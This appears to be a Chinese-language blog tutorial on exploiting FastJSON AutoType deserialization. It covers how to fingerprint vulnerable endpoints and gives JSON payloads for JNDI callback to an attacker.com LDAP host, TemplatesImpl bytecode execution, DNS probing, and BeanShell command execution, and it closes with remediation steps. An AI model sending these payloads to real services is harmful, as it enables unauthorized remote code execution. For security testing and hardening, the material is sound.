🧨 FastJSON 渗透实战指南
1️⃣ 什么是 FastJSON?
FastJSON 是阿里巴巴开源的一款高性能 Java JSON 解析库,用于将 JSON 字符串转换为 Java 对象,或将 Java 对象序列化为 JSON。
👉 开发者最常用的方法:
Object obj = JSON.parse(json); // 动态解析,关键点!
JSON.parse
的安全隐患分析详情👉 一文看懂 JSON.parse 背后的安全隐患与黑盒利用方法-极客星球
2️⃣ FastJSON 漏洞产生原因
🚨 问题核心:AutoType 自动类型识别
当传入如下 JSON:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
若 AutoType 功能未禁用,FastJSON 会尝试加载并实例化你指定的类。攻击者可以构造恶意类,实现远程代码执行(RCE)!
🧯 正常业务场景根本不需要 @type
,但若未做限制,就容易被利用。
3️⃣ 怎么发现可利用点呢?
✅ 观察错误信息:
关键词 | 意义 |
---|---|
com.alibaba.fastjson | FastJSON 类路径 |
com.alibaba.fastjson.JSONException | JSON 解析异常 |
AutoType is not support | 禁用 AutoType 提示 |
Could not auto-type class | 尝试加载类失败,典型 FastJSON 错误 |
parseObject / parseArray | 方法堆栈中可能出现 |
ClassNotFoundException + @type | 尝试加载不存在类(典型探测响应) |
报错信息示例:
{
"error": {
"message": "Could not auto-type class",
"type": "com.alibaba.fastjson.JSONException"
}
}
✅ API 特征分析:
1. 参数中出现原始 JSON 字符串字段
{
"payload": "{\"a\":1,\"b\":2}" // 👈 明显是服务端要 parse 的
}
🔍 说明:开发者常将嵌套 JSON 作为字符串参数传给后端,然后用 JSON.parse(payload)
解析。
2. 接口直接接收 JSON 并返回原样结构
POST /api/echo
Content-Type: application/json
{
"name": "Alice",
"age": 23
}
响应:
{
"code": 0,
"data": {
"name": "Alice",
"age": 23
}
}
🎯 推测:接口对原始 JSON 做了结构化处理再输出,可能使用了 parseObject()
。
3. 接口响应字段中回显了传入的结构(比如 @type
)
输入:
{ "@type":"www.geekserver.top" }
响应回显:
{ "@type": "www.geekserver.top" }
🔍 说明服务端未做结构过滤,可能直接使用了 JSONObject
存储处理用户输入。
👉当参数字段名中出现data
、config
、json
、payload
就应该引起注意
✅ 响应行为分析:
- 请求中加入
@type
字段后,如果有下面特征,就需要进一步分析:- 直接回显
- 报错有类名或堆栈信息
- 响应时间明显变慢(sleep 链)
- DNS 有请求(URL/DNS 测试)
4️⃣ 漏洞利用方式
📍 利用方式一:JNDI 回连
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
- ✅ 原理:
setDataSourceName()
内部会调用connect()
- 在
autoCommit=true
时触发 JNDI 查询 → 远程类加载 → RCE
- 🎯关注点:
- 确认
autoCommit
字段被调用 - 确认LDAP 服务端返回恶意 class
- 确认
- 🔥 结果:RCE 或 LDAP 服务器收到回连
📍 利用方式二:TemplatesImpl RCE
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"transletBytecodes": ["<恶意字节码 base64>"],
"transletName": "a",
"outputProperties": {}
}
- ✅ 原理:类加载器会执行字节码静态块,具体:
newTemplates()
时会加载并实例化 bytecode 中的类- bytecode 中可植入静态块执行任意命令
- 🔥 结果:直接 RCE
📍 利用方式三:DNS 盲注
{
"@type": "java.net.InetAddress",
"val": "www.geekserver.top"
}
- ✅ 原理:FastJSON 反序列化
InetAddress.getByName()
会发 DNS 请求 - 🔥 结果:在无回显环境中判断漏洞存在
- FastJSON无回显分析 👉 DNS 一响,漏洞登场!FastJSON 不出网探针全攻略-极客星球
📍 利用方式四:BeanShell 执行脚本
{
"@type":"bsh.BeanShell",
"name": "geekserver.top",
"eval": "java.lang.Runtime.getRuntime().exec('id').toString()"
}
- ✅ 前提:服务端有 BeanShell
- 🔍 原理:
bsh.BeanShell
在eval()
时直接执行脚本 - 🔥 结果:直接命令执行(某些旧系统)
5️⃣ 总结
步骤 | 操作 | 工具建议 |
---|---|---|
🎯 收集 | Burp 抓包,分析响应结构、错误信息 | Burp Suite |
🔍 探测 | 插入 {"@type":"xxx"} 逐步 fuzz | Burp Intruder |
📡 验证 | DNS、回连、延迟判断 | DNSLog、JNDI 工具 |
💥 利用 | 发送 Payload,触发命令执行 | LDAP 服务器、Metasploit |
🧪 取证 | 回连日志、系统变更、回显信息 | Burp Logger、日志分析 |
🛡️ 修复建议:
- 关闭 AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 若必须开启,严格配置白名单:
addAccept("com.safe.package.")
- 不使用
JSON.parse()
,应指定明确类
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容